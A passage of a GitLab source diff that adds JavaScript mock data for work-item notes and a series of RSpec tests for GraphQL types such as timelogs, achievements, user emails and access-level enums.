+ 'gid://gitlab/IndividualNoteDiscussion/8bbc4890b6ff0f2cde93a5a0947cd2b8a13d3b6e',
+ notes: {
+ nodes: [
+ {
+ id: 'gid://gitlab/Note/2428',
+ bodyHtml:
+ '<p data-sourcepos="1:1-1:25" dir="auto">added <a href="/flightjs/Flight/-/issues/31" data-reference-type="issue" data-original="#31" data-link="false" data-link-reference="false" data-project="6" data-issue="224" data-project-path="flightjs/Flight" data-iid="31" data-issue-type="issue" data-container=body data-placement="top" title="Perferendis est quae totam quia laborum tempore ut voluptatem." class="gfm gfm-issue">#31</a> as parent issue</p>',
+ systemNoteIconName: 'link',
+ createdAt: '2022-11-14T04:18:59Z',
+ system: true,
+ internal: false,
+ userPermissions: {
+ adminNote: false,
+ __typename: 'NotePermissions',
+ },
+ author: {
+ avatarUrl:
+ 'https://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80&d=identicon',
+ id: 'gid://gitlab/User/1',
+ name: 'Administrator',
+ username: 'root',
+ webUrl: 'http://127.0.0.1:3000/root',
+ __typename: 'UserCore',
+ },
+ __typename: 'Note',
+ },
+ ],
+ __typename: 'NoteConnection',
+ },
+ __typename: 'Discussion',
+ },
+ {
+ id:
+ 'gid://gitlab/IndividualNoteDiscussion/7b08b89a728a5ceb7de8334246837ba1d07270dc',
+ notes: {
+ nodes: [
+ {
+ id: 'gid://gitlab/MilestoneNote/0f2f195ec0d1ef95ee9d5b10446b8e96a7d83823',
+ bodyHtml:
+ '<p data-sourcepos="1:1-1:23" dir="auto">changed milestone to <a href="/flightjs/Flight/-/milestones/5" data-reference-type="milestone" data-original="%5" data-link="false" data-link-reference="false" data-project="6" data-milestone="30" data-container=body data-placement="top" title="" class="gfm gfm-milestone has-tooltip">%v4.0</a></p>',
+ systemNoteIconName: 'clock',
+ createdAt: '2022-11-14T04:18:59Z',
+ system: true,
+ internal: false,
+ userPermissions: {
+ adminNote: false,
+ __typename: 'NotePermissions',
+ },
+ author: {
+ avatarUrl:
+ 'https://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80&d=identicon',
+ id: 'gid://gitlab/User/1',
+ name: 'Administrator',
+ username: 'root',
+ webUrl: 'http://127.0.0.1:3000/root',
+ __typename: 'UserCore',
+ },
+ __typename: 'Note',
+ },
+ ],
+ __typename: 'NoteConnection',
+ },
+ __typename: 'Discussion',
+ },
+ {
+ id:
+ 'gid://gitlab/IndividualNoteDiscussion/0f2f195ec0d1ef95ee9d5b10446b8e96a7d83864',
+ notes: {
+ nodes: [
+ {
+ id: 'gid://gitlab/WeightNote/0f2f195ec0d1ef95ee9d5b10446b8e96a7d83864',
+ bodyHtml: '<p dir="auto">changed weight to <strong>89</strong></p>',
+ systemNoteIconName: 'weight',
+ createdAt: '2022-11-25T07:16:20Z',
+ system: true,
+ internal: false,
+ userPermissions: {
+ adminNote: false,
+ __typename: 'NotePermissions',
+ },
+ author: {
+ avatarUrl:
+ 'https://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80&d=identicon',
+ id: 'gid://gitlab/User/1',
+ name: 'Administrator',
+ username: 'root',
+ webUrl: 'http://127.0.0.1:3000/root',
+ __typename: 'UserCore',
+ },
+ __typename: 'Note',
+ },
+ ],
+ __typename: 'NoteConnection',
+ },
+ __typename: 'Discussion',
+ },
+ ],
+ __typename: 'DiscussionConnection',
+ },
+ __typename: 'WorkItemWidgetNotes',
+ },
+ ],
+ __typename: 'WorkItem',
+ },
+ },
+};
+
+export const createWorkItemNoteResponse = {
+ data: {
+ createNote: {
+ errors: [],
+ __typename: 'CreateNotePayload',
+ },
+ },
+};
+
+export const mockWorkItemCommentNote = {
+ id: 'gid://gitlab/Note/158',
+ bodyHtml:
+ '<p data-sourcepos="1:1-1:76" dir="auto"><gl-emoji title="waving hand sign" data-name="wave" data-unicode-version="6.0">👋</gl-emoji> Hi <a href="/fredda.brekke" data-reference-type="user" data-user="3" data-container="body" data-placement="top" class="gfm gfm-project_member js-user-link" title="Sherie Nitzsche">@fredda.brekke</a> How are you ? what do you think about this ? <gl-emoji title="person with folded hands" data-name="pray" data-unicode-version="6.0">ðŸ™</gl-emoji></p>',
+ systemNoteIconName: false,
+ createdAt: '2022-11-25T07:16:20Z',
+ system: false,
+ internal: false,
+ userPermissions: {
+ adminNote: false,
+ __typename: 'NotePermissions',
+ },
+ author: {
+ avatarUrl: 'https://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80&d=identicon',
+ id: 'gid://gitlab/User/1',
+ name: 'Administrator',
+ username: 'root',
+ webUrl: 'http://127.0.0.1:3000/root',
+ __typename: 'UserCore',
+ },
+};
diff --git a/spec/frontend/work_items/router_spec.js b/spec/frontend/work_items/router_spec.js
index b503d819435..ef9ae4a2eab 100644
--- a/spec/frontend/work_items/router_spec.js
+++ b/spec/frontend/work_items/router_spec.js
@@ -74,6 +74,7 @@ describe('Work items router', () => {
stubs: {
WorkItemWeight: true,
WorkItemIteration: true,
+ WorkItemHealthStatus: true,
},
});
};
diff --git a/spec/graphql/mutations/achievements/create_spec.rb b/spec/graphql/mutations/achievements/create_spec.rb
new file mode 100644
index 00000000000..4bad6164314
--- /dev/null
+++ b/spec/graphql/mutations/achievements/create_spec.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Mutations::Achievements::Create, feature_category: :users do
+ include GraphqlHelpers
+
+ let_it_be(:user) { create(:user) }
+
+ let(:group) { create(:group) }
+ let(:valid_params) do
+ attributes_for(:achievement, namespace: group)
+ end
+
+ describe '#resolve' do
+ subject(:resolve_mutation) do
+ described_class.new(object: nil, context: { current_user: user }, field: nil).resolve(
+ **valid_params,
+ namespace_id: group.to_global_id
+ )
+ end
+
+ context 'when the user does not have permission' do
+ before do
+ group.add_developer(user)
+ end
+
+ it 'raises an error' do
+ expect { resolve_mutation }.to raise_error(Gitlab::Graphql::Errors::ResourceNotAvailable)
+ .with_message(Gitlab::Graphql::Authorize::AuthorizeResource::RESOURCE_ACCESS_ERROR)
+ end
+ end
+
+ context 'when the user has permission' do
+ before do
+ group.add_maintainer(user)
+ end
+
+ context 'when the params are invalid' do
+ it 'returns the validation error' do
+ valid_params[:name] = nil
+
+ expect(resolve_mutation[:errors]).to match_array(["Name can't be blank"])
+ end
+ end
+
+ it 'creates contact with correct values' do
+ expect(resolve_mutation[:achievement]).to have_attributes(valid_params)
+ end
+ end
+ end
+
+ specify { expect(described_class).to require_graphql_authorizations(:admin_achievement) }
+end
diff --git a/spec/graphql/resolvers/ci/jobs_resolver_spec.rb b/spec/graphql/resolvers/ci/jobs_resolver_spec.rb
index 80a70938dc4..581652a8cea 100644
--- a/spec/graphql/resolvers/ci/jobs_resolver_spec.rb
+++ b/spec/graphql/resolvers/ci/jobs_resolver_spec.rb
@@ -59,5 +59,18 @@ RSpec.describe Resolvers::Ci::JobsResolver do
)
end
end
+
+ context 'when a job is manual' do
+ before_all do
+ create(:ci_build, name: 'Manual job', pipeline: pipeline, when: 'manual')
+ end
+
+ it "returns jobs with when set to 'manual'" do
+ jobs = resolve(described_class, obj: pipeline, arg_style: :internal, args: { when_executed: ['manual'] })
+ expect(jobs).to contain_exactly(
+ have_attributes(name: 'Manual job')
+ )
+ end
+ end
end
end
diff --git a/spec/graphql/resolvers/timelog_resolver_spec.rb b/spec/graphql/resolvers/timelog_resolver_spec.rb
index da2747fdf72..cd52308d895 100644
--- a/spec/graphql/resolvers/timelog_resolver_spec.rb
+++ b/spec/graphql/resolvers/timelog_resolver_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Resolvers::TimelogResolver do
+RSpec.describe Resolvers::TimelogResolver, feature_category: :team_planning do
include GraphqlHelpers
let_it_be(:current_user) { create(:user) }
@@ -262,18 +262,6 @@ RSpec.describe Resolvers::TimelogResolver do
it_behaves_like 'with a user'
end
- context 'when > `default_max_page_size` records' do
- let(:object) { nil }
- let!(:timelog_list) { create_list(:timelog, 101, issue: issue) }
- let(:args) { { project_id: global_id_of(project) } }
- let(:extra_args) { {} }
-
- it 'pagination returns `default_max_page_size` and sets `has_next_page` true' do
- expect(timelogs.items.count).to be(100)
- expect(timelogs.has_next_page).to be(true)
- end
- end
-
context 'when no object or arguments provided' do
let(:object) { nil }
let(:args) { {} }
@@ -286,6 +274,21 @@ RSpec.describe Resolvers::TimelogResolver do
end
end
+ context 'when the sort argument is provided' do
+ let_it_be(:timelog_a) { create(:issue_timelog, time_spent: 7200, spent_at: 1.hour.ago, user: current_user) }
+ let_it_be(:timelog_b) { create(:issue_timelog, time_spent: 5400, spent_at: 2.hours.ago, user: current_user) }
+ let_it_be(:timelog_c) { create(:issue_timelog, time_spent: 1800, spent_at: 30.minutes.ago, user: current_user) }
+ let_it_be(:timelog_d) { create(:issue_timelog, time_spent: 3600, spent_at: 1.day.ago, user: current_user) }
+
+ let(:object) { current_user }
+ let(:args) { { sort: 'TIME_SPENT_ASC' } }
+ let(:extra_args) { {} }
+
+ it 'returns all the timelogs in the correct order' do
+ expect(timelogs.items).to eq([timelog_c, timelog_d, timelog_b, timelog_a])
+ end
+ end
+
def resolve_timelogs(user: current_user, obj: object, **args)
context = { current_user: user }
resolve(described_class, obj: obj, args: args.merge(extra_args), ctx: context)
diff --git a/spec/graphql/types/access_level_enum_spec.rb b/spec/graphql/types/access_level_enum_spec.rb
index 1b379c56ff9..6a8d2e26e65 100644
--- a/spec/graphql/types/access_level_enum_spec.rb
+++ b/spec/graphql/types/access_level_enum_spec.rb
@@ -6,6 +6,6 @@ RSpec.describe GitlabSchema.types['AccessLevelEnum'] do
specify { expect(described_class.graphql_name).to eq('AccessLevelEnum') }
it 'exposes all the existing access levels' do
- expect(described_class.values.keys).to match_array(%w[NO_ACCESS MINIMAL_ACCESS GUEST REPORTER DEVELOPER MAINTAINER OWNER])
+ expect(described_class.values.keys).to include(*%w[NO_ACCESS MINIMAL_ACCESS GUEST REPORTER DEVELOPER MAINTAINER OWNER])
end
end
diff --git a/spec/graphql/types/achievements/achievement_type_spec.rb b/spec/graphql/types/achievements/achievement_type_spec.rb
new file mode 100644
index 00000000000..5c98753ac66
--- /dev/null
+++ b/spec/graphql/types/achievements/achievement_type_spec.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe GitlabSchema.types['Achievement'], feature_category: :users do
+ include GraphqlHelpers
+
+ let(:fields) do
+ %w[
+ id
+ namespace
+ name
+ avatar_url
+ description
+ revokeable
+ created_at
+ updated_at
+ ]
+ end
+
+ it { expect(described_class.graphql_name).to eq('Achievement') }
+ it { expect(described_class).to have_graphql_fields(fields) }
+ it { expect(described_class).to require_graphql_authorizations(:read_achievement) }
+
+ describe '#avatar_url' do
+ let(:object) { instance_double(Achievements::Achievement) }
+ let(:current_user) { instance_double(User) }
+
+ before do
+ allow(described_class).to receive(:authorized?).and_return(true)
+ end
+
+ it 'calls Achievement#avatar_url(only_path: false)' do
+ allow(object).to receive(:avatar_url).with(only_path: false)
+ resolve_field(:avatar_url, object, current_user: current_user)
+ expect(object).to have_received(:avatar_url).with(only_path: false).once
+ end
+ end
+end
diff --git a/spec/graphql/types/alert_management/alert_type_spec.rb b/spec/graphql/types/alert_management/alert_type_spec.rb
index c1df24ccb5c..4428fc0683a 100644
--- a/spec/graphql/types/alert_management/alert_type_spec.rb
+++ b/spec/graphql/types/alert_management/alert_type_spec.rb
@@ -38,6 +38,7 @@ RSpec.describe GitlabSchema.types['AlertManagementAlert'], feature_category: :in
prometheus_alert
environment
web_url
+ commenters
]
expect(described_class).to have_graphql_fields(*expected_fields)
diff --git a/spec/graphql/types/ci/runner_countable_connection_type_spec.rb b/spec/graphql/types/ci/runner_countable_connection_type_spec.rb
new file mode 100644
index 00000000000..49254ed0f93
--- /dev/null
+++ b/spec/graphql/types/ci/runner_countable_connection_type_spec.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Types::Ci::RunnerCountableConnectionType, feature_category: :runner_fleet do
+ it 'contains attributes related to a runner connection' do
+ expected_fields = %w[count]
+
+ expect(described_class).to include_graphql_fields(*expected_fields)
+ end
+end
diff --git a/spec/graphql/types/description_version_type_spec.rb b/spec/graphql/types/description_version_type_spec.rb
new file mode 100644
index 00000000000..36bb1af7f7b
--- /dev/null
+++ b/spec/graphql/types/description_version_type_spec.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe GitlabSchema.types['DescriptionVersion'], feature_category: :team_planning do
+ it { expect(described_class).to have_graphql_field(:id) }
+ it { expect(described_class).to have_graphql_field(:description) }
+
+ specify { expect(described_class).to require_graphql_authorizations(:read_issuable) }
+end
diff --git a/spec/graphql/types/design_management/design_type_spec.rb b/spec/graphql/types/design_management/design_type_spec.rb
index 9c460e9058a..24b007a6b33 100644
--- a/spec/graphql/types/design_management/design_type_spec.rb
+++ b/spec/graphql/types/design_management/design_type_spec.rb
@@ -8,7 +8,7 @@ RSpec.describe GitlabSchema.types['Design'] do
specify { expect(described_class.interfaces).to include(Types::TodoableInterface) }
it_behaves_like 'a GraphQL type with design fields' do
- let(:extra_design_fields) { %i[notes current_user_todos discussions versions web_url] }
+ let(:extra_design_fields) { %i[notes current_user_todos discussions versions web_url commenters] }
let_it_be(:design) { create(:design, :with_versions) }
let(:object_id) { GitlabSchema.id_from_object(design) }
let_it_be(:object_id_b) { GitlabSchema.id_from_object(create(:design, :with_versions)) }
diff --git a/spec/graphql/types/issue_type_spec.rb b/spec/graphql/types/issue_type_spec.rb
index dc444f90627..498625dc642 100644
--- a/spec/graphql/types/issue_type_spec.rb
+++ b/spec/graphql/types/issue_type_spec.rb
@@ -3,6 +3,9 @@
require 'spec_helper'
RSpec.describe GitlabSchema.types['Issue'] do
+ let_it_be_with_reload(:project) { create(:project, :public) }
+ let_it_be(:user) { create(:user) }
+
specify { expect(described_class).to expose_permissions_using(Types::PermissionTypes::Issue) }
specify { expect(described_class.graphql_name).to eq('Issue') }
@@ -26,8 +29,6 @@ RSpec.describe GitlabSchema.types['Issue'] do
end
describe 'pagination and count' do
- let_it_be(:user) { create(:user) }
- let_it_be(:project) { create(:project, :public) }
let_it_be(:now) { Time.now.change(usec: 0) }
let_it_be(:issues) { create_list(:issue, 10, project: project, created_at: now) }
@@ -130,8 +131,6 @@ RSpec.describe GitlabSchema.types['Issue'] do
end
describe "issue notes" do
- let(:user) { create(:user) }
- let(:project) { create(:project, :public) }
let(:issue) { create(:issue, project: project) }
let(:confidential_issue) { create(:issue, :confidential, project: project) }
let(:private_note_body) { "mentioned in issue #{confidential_issue.to_reference(project)}" }
@@ -211,8 +210,6 @@ RSpec.describe GitlabSchema.types['Issue'] do
describe 'hidden', :enable_admin_mode do
let_it_be(:admin) { create(:user, :admin) }
let_it_be(:banned_user) { create(:user, :banned) }
- let_it_be(:user) { create(:user) }
- let_it_be(:project) { create(:project, :public) }
let_it_be(:hidden_issue) { create(:issue, project: project, author: banned_user) }
let_it_be(:visible_issue) { create(:issue, project: project, author: user) }
@@ -259,8 +256,6 @@ RSpec.describe GitlabSchema.types['Issue'] do
end
describe 'escalation_status' do
- let_it_be(:user) { create(:user) }
- let_it_be(:project) { create(:project, :public) }
let_it_be(:issue, reload: true) { create(:issue, project: project) }
let(:execute) { GitlabSchema.execute(query, context: { current_user: user }).as_json }
@@ -294,4 +289,44 @@ RSpec.describe GitlabSchema.types['Issue'] do
end
end
end
+
+ describe 'type' do
+ let_it_be(:issue) { create(:issue, project: project) }
+
+ let(:query) do
+ %(
+ query {
+ issue(id: "#{issue.to_gid}") {
+ type
+ }
+ }
+ )
+ end
+
+ subject(:execute) { GitlabSchema.execute(query, context: { current_user: user }).as_json }
+
+ context 'when the issue_type_uses_work_item_types_table feature flag is enabled' do
+ it 'gets the type field from the work_item_types table' do
+ expect_next_instance_of(::IssuePresenter) do |presented_issue|
+ expect(presented_issue).to receive_message_chain(:work_item_type, :base_type)
+ end
+
+ execute
+ end
+ end
+
+ context 'when the issue_type_uses_work_item_types_table feature flag is disabled' do
+ before do
+ stub_feature_flags(issue_type_uses_work_item_types_table: false)
+ end
+
+ it 'does not get the type field from the work_item_types table' do
+ expect_next_instance_of(::IssuePresenter) do |presented_issue|
+ expect(presented_issue).not_to receive(:work_item_type)
+ end
+
+ execute
+ end
+ end
+ end
end
diff --git a/spec/graphql/types/member_access_level_enum_spec.rb b/spec/graphql/types/member_access_level_enum_spec.rb
new file mode 100644
index 00000000000..54aef667695
--- /dev/null
+++ b/spec/graphql/types/member_access_level_enum_spec.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Types::MemberAccessLevelEnum, feature_category: :subgroups do
+ specify { expect(described_class.graphql_name).to eq('MemberAccessLevel') }
+
+ it 'exposes all the existing access levels' do
+ expect(described_class.values.keys).to include(*%w[GUEST REPORTER DEVELOPER MAINTAINER OWNER])
+ end
+end
diff --git a/spec/graphql/types/namespace_type_spec.rb b/spec/graphql/types/namespace_type_spec.rb
index 168a6ba4eaa..d80235023ef 100644
--- a/spec/graphql/types/namespace_type_spec.rb
+++ b/spec/graphql/types/namespace_type_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe GitlabSchema.types['Namespace'] do
expected_fields = %w[
id name path full_name full_path description description_html visibility
lfs_enabled request_access_enabled projects root_storage_statistics shared_runners_setting
- timelog_categories
+ timelog_categories achievements
]
expect(described_class).to include_graphql_fields(*expected_fields)
diff --git a/spec/graphql/types/notes/note_type_spec.rb b/spec/graphql/types/notes/note_type_spec.rb
index cbf7f086dbe..a9e45b29eea 100644
--- a/spec/graphql/types/notes/note_type_spec.rb
+++ b/spec/graphql/types/notes/note_type_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe GitlabSchema.types['Note'] do
+RSpec.describe GitlabSchema.types['Note'], feature_category: :team_planning do
it 'exposes the expected fields' do
expected_fields = %i[
author
@@ -24,6 +24,9 @@ RSpec.describe GitlabSchema.types['Note'] do
updated_at
user_permissions
url
+ last_edited_at
+ last_edited_by
+ system_note_metadata
]
expect(described_class).to have_graphql_fields(*expected_fields)
diff --git a/spec/graphql/types/notes/noteable_interface_spec.rb b/spec/graphql/types/notes/noteable_interface_spec.rb
index be2c30aac72..e11dece60b8 100644
--- a/spec/graphql/types/notes/noteable_interface_spec.rb
+++ b/spec/graphql/types/notes/noteable_interface_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe Types::Notes::NoteableInterface do
expected_fields = %i[
discussions
notes
+ commenters
]
expect(described_class).to have_graphql_fields(*expected_fields)
diff --git a/spec/graphql/types/notes/system_note_metadata_type_spec.rb b/spec/graphql/types/notes/system_note_metadata_type_spec.rb
new file mode 100644
index 00000000000..d243e926ff5
--- /dev/null
+++ b/spec/graphql/types/notes/system_note_metadata_type_spec.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe GitlabSchema.types['SystemNoteMetadata'], feature_category: :team_planning do
+ it { expect(described_class).to have_graphql_field(:id) }
+ it { expect(described_class).to have_graphql_field(:action) }
+ it { expect(described_class).to have_graphql_field(:description_version) }
+
+ specify { expect(described_class).to require_graphql_authorizations(:read_note) }
+end
diff --git a/spec/graphql/types/query_type_spec.rb b/spec/graphql/types/query_type_spec.rb
index 514d24a209e..f06759e30c8 100644
--- a/spec/graphql/types/query_type_spec.rb
+++ b/spec/graphql/types/query_type_spec.rb
@@ -8,29 +8,40 @@ RSpec.describe GitlabSchema.types['Query'] do
end
it 'has the expected fields' do
- expected_fields = %i[
- project
- namespace
- group
- echo
- metadata
- current_user
- snippets
- design_management
- milestone
- user
- users
- issue
- merge_request
- usage_trends_measurements
- runner_platforms
- runner
- runners
- timelogs
- board_list
- topics
- gitpod_enabled
- ci_variables
+ expected_fields = [
+ :board_list,
+ :ci_application_settings,
+ :ci_config,
+ :ci_variables,
+ :container_repository,
+ :current_user,
+ :design_management,
+ :echo,
+ :gitpod_enabled,
+ :group,
+ :issue,
+ :issues,
+ :jobs,
+ :merge_request,
+ :metadata,
+ :milestone,
+ :namespace,
+ :package,
+ :project,
+ :projects,
+ :query_complexity,
+ :runner,
+ :runner_platforms,
+ :runner_setup,
+ :runners,
+ :snippets,
+ :timelogs,
+ :todo,
+ :topics,
+ :usage_trends_measurements,
+ :user,
+ :users,
+ :work_item
]
expect(described_class).to have_graphql_fields(*expected_fields).at_least
@@ -135,7 +146,7 @@ RSpec.describe GitlabSchema.types['Query'] do
subject { described_class.fields['timelogs'] }
it 'returns timelogs' do
- is_expected.to have_graphql_arguments(:startDate, :endDate, :startTime, :endTime, :username, :projectId, :groupId, :after, :before, :first, :last)
+ is_expected.to have_graphql_arguments(:startDate, :endDate, :startTime, :endTime, :username, :projectId, :groupId, :after, :before, :first, :last, :sort)
is_expected.to have_graphql_type(Types::TimelogType.connection_type)
is_expected.to have_graphql_resolver(Resolvers::TimelogResolver)
end
diff --git a/spec/graphql/types/repository/blob_type_spec.rb b/spec/graphql/types/repository/blob_type_spec.rb
index 787b5f4a311..9537fca7322 100644
--- a/spec/graphql/types/repository/blob_type_spec.rb
+++ b/spec/graphql/types/repository/blob_type_spec.rb
@@ -2,7 +2,9 @@
require 'spec_helper'
-RSpec.describe Types::Repository::BlobType do
+RSpec.describe Types::Repository::BlobType, feature_category: :source_code_management do
+ include GraphqlHelpers
+
specify { expect(described_class.graphql_name).to eq('RepositoryBlob') }
specify do
@@ -48,4 +50,13 @@ RSpec.describe Types::Repository::BlobType do
:language
).at_least
end
+
+ it 'handles blobs of huge size', :aggregate_failures do
+ huge_blob = Blob.new(double)
+ size = 10**10
+ allow(huge_blob).to receive_messages({ size: size, raw_size: size })
+
+ expect(resolve_field(:raw_size, huge_blob)).to eq(size)
+ expect(resolve_field(:size, huge_blob)).to eq(size)
+ end
end
diff --git a/spec/graphql/types/snippet_type_spec.rb b/spec/graphql/types/snippet_type_spec.rb
index f284d88180c..a46c51e0a27 100644
--- a/spec/graphql/types/snippet_type_spec.rb
+++ b/spec/graphql/types/snippet_type_spec.rb
@@ -13,7 +13,7 @@ RSpec.describe GitlabSchema.types['Snippet'] do
:visibility_level, :created_at, :updated_at,
:web_url, :raw_url, :ssh_url_to_repo, :http_url_to_repo,
:notes, :discussions, :user_permissions,
- :description_html, :blobs]
+ :description_html, :blobs, :commenters]
expect(described_class).to have_graphql_fields(*expected_fields)
end
diff --git a/spec/graphql/types/time_tracking/timelog_connection_type_spec.rb b/spec/graphql/types/time_tracking/timelog_connection_type_spec.rb
new file mode 100644
index 00000000000..5cfe561b42c
--- /dev/null
+++ b/spec/graphql/types/time_tracking/timelog_connection_type_spec.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe GitlabSchema.types['TimelogConnection'], feature_category: :team_planning do
+ it 'has the expected fields' do
+ expected_fields = %i[count page_info edges nodes total_spent_time]
+
+ expect(described_class).to have_graphql_fields(*expected_fields)
+ end
+
+ context 'for total_spent_time field' do
+ let_it_be(:current_user) { create(:user) }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project) { create(:project, :empty_repo, :public, group: group) }
+ let_it_be(:issue) { create(:issue, project: project) }
+
+ let_it_be(:timelog1) { create(:issue_timelog, issue: issue, time_spent: 1000) }
+ let_it_be(:timelog2) { create(:issue_timelog, issue: issue, time_spent: 1500) }
+ let_it_be(:timelog3) { create(:issue_timelog, issue: issue, time_spent: 2564) }
+
+ let(:query) do
+ %(
+ {
+ project(fullPath: "#{project.full_path}") {
+ timelogs {
+ totalSpentTime
+ }
+ }
+ }
+ )
+ end
+
+ let(:total_spent_time) { subject.dig('data', 'project', 'timelogs', 'totalSpentTime') }
+
+ subject { GitlabSchema.execute(query, context: { current_user: current_user }).as_json }
+
+ context 'when requested' do
+ it 'returns the total spent time' do
+ expect(total_spent_time).to eq(5064)
+ end
+ end
+ end
+end
diff --git a/spec/graphql/types/time_tracking/timelog_sort_enum_spec.rb b/spec/graphql/types/time_tracking/timelog_sort_enum_spec.rb
new file mode 100644
index 00000000000..ecc11256c85
--- /dev/null
+++ b/spec/graphql/types/time_tracking/timelog_sort_enum_spec.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe GitlabSchema.types['TimelogSort'], feature_category: :team_planning do
+ specify { expect(described_class.graphql_name).to eq('TimelogSort') }
+
+ it_behaves_like 'common sort values'
+
+ it 'exposes all the contact sort values' do
+ expect(described_class.values.keys).to include(
+ *%w[
+ SPENT_AT_ASC
+ SPENT_AT_DESC
+ TIME_SPENT_ASC
+ TIME_SPENT_DESC
+ ]
+ )
+ end
+end
diff --git a/spec/graphql/types/timelog_type_spec.rb b/spec/graphql/types/timelog_type_spec.rb
index 3a26ba89e04..59a0e373c5d 100644
--- a/spec/graphql/types/timelog_type_spec.rb
+++ b/spec/graphql/types/timelog_type_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe GitlabSchema.types['Timelog'] do
+RSpec.describe GitlabSchema.types['Timelog'], feature_category: :team_planning do
let_it_be(:fields) { %i[id spent_at time_spent user issue merge_request note summary userPermissions] }
it { expect(described_class.graphql_name).to eq('Timelog') }
diff --git a/spec/graphql/types/user_type_spec.rb b/spec/graphql/types/user_type_spec.rb
index dcf25ff0667..45cb960cf20 100644
--- a/spec/graphql/types/user_type_spec.rb
+++ b/spec/graphql/types/user_type_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe GitlabSchema.types['User'] do
+RSpec.describe GitlabSchema.types['User'], feature_category: :users do
specify { expect(described_class.graphql_name).to eq('User') }
specify do
@@ -20,7 +20,10 @@ RSpec.describe GitlabSchema.types['User'] do
name
username
email
+ emails
publicEmail
+ commitEmail
+ namespaceCommitEmails
avatarUrl
webUrl
webPath
@@ -226,4 +229,20 @@ RSpec.describe GitlabSchema.types['User'] do
is_expected.to have_graphql_type(Types::TimelogType.connection_type)
end
end
+
+ describe 'emails field' do
+ subject { described_class.fields['emails'] }
+
+ it 'returns user emails' do
+ is_expected.to have_graphql_type(Types::Users::EmailType.connection_type)
+ end
+ end
+
+ describe 'namespaceCommitEmails field' do
+ subject { described_class.fields['namespaceCommitEmails'] }
+
+ it 'returns user namespace_commit_emails' do
+ is_expected.to have_graphql_type(Types::Users::NamespaceCommitEmailType.connection_type)
+ end
+ end
end
diff --git a/spec/graphql/types/users/email_type_spec.rb b/spec/graphql/types/users/email_type_spec.rb
new file mode 100644
index 00000000000..fb484915428
--- /dev/null
+++ b/spec/graphql/types/users/email_type_spec.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+require 'spec_helper'
+
+RSpec.describe GitlabSchema.types['Email'], feature_category: :users do
+ it 'has the correct fields' do
+ expected_fields = [
+ :id,
+ :email,
+ :confirmed_at,
+ :created_at,
+ :updated_at
+ ]
+
+ expect(described_class).to have_graphql_fields(*expected_fields)
+ end
+
+ specify { expect(described_class).to require_graphql_authorizations(:read_user_email_address) }
+end
diff --git a/spec/graphql/types/users/namespace_commit_email_type_spec.rb b/spec/graphql/types/users/namespace_commit_email_type_spec.rb
new file mode 100644
index 00000000000..ccab881676e
--- /dev/null
+++ b/spec/graphql/types/users/namespace_commit_email_type_spec.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+require 'spec_helper'
+
+RSpec.describe GitlabSchema.types['NamespaceCommitEmail'], feature_category: :users do
+ it 'has the correct fields' do
+ expected_fields = [
+ :id,
+ :email,
+ :namespace,
+ :created_at,
+ :updated_at
+ ]
+
+ expect(described_class).to have_graphql_fields(*expected_fields)
+ end
+
+ specify { expect(described_class).to require_graphql_authorizations(:read_user_email_address) }
+end
diff --git a/spec/helpers/admin/components_helper_spec.rb b/spec/helpers/admin/components_helper_spec.rb
new file mode 100644
index 00000000000..bb590d003ad
--- /dev/null
+++ b/spec/helpers/admin/components_helper_spec.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+require "spec_helper"
+
+RSpec.describe Admin::ComponentsHelper, feature_category: :database do
+ describe '#database_versions' do
+ let(:expected_version) { '12.13' }
+ let(:expected_hash) do
+ main = {
+ main: { adapter_name: 'PostgreSQL', version: expected_version }
+ }
+ main[:ci] = { adapter_name: 'PostgreSQL', version: expected_version } if Gitlab::Database.has_config?(:ci)
+ main[:geo] = { adapter_name: 'PostgreSQL', version: expected_version } if Gitlab::Database.has_config?(:geo)
+
+ main
+ end
+
+ subject { helper.database_versions }
+
+ before do
+ allow_next_instance_of(Gitlab::Database::Reflection) do |reflection|
+ allow(reflection).to receive(:version).and_return(expected_version)
+ end
+ end
+
+ it 'returns expected database data' do
+ expect(subject).to eq(expected_hash)
+ end
+ end
+end
diff --git a/spec/helpers/appearances_helper_spec.rb b/spec/helpers/appearances_helper_spec.rb
index b3afd350397..8673353996e 100644
--- a/spec/helpers/appearances_helper_spec.rb
+++ b/spec/helpers/appearances_helper_spec.rb
@@ -10,6 +10,20 @@ RSpec.describe AppearancesHelper do
allow(helper).to receive(:current_user).and_return(user)
end
+ describe '#appearance_short_name' do
+ it 'returns the default value' do
+ create(:appearance)
+
+ expect(helper.appearance_short_name).to match('GitLab')
+ end
+
+ it 'returns the customized value' do
+ create(:appearance, pwa_short_name: 'Short')
+
+ expect(helper.appearance_short_name).to match('Short')
+ end
+ end
+
describe '.current_appearance' do
it 'memoizes empty appearance' do
expect(Appearance).to receive(:current).once
diff --git a/spec/helpers/application_helper_spec.rb b/spec/helpers/application_helper_spec.rb
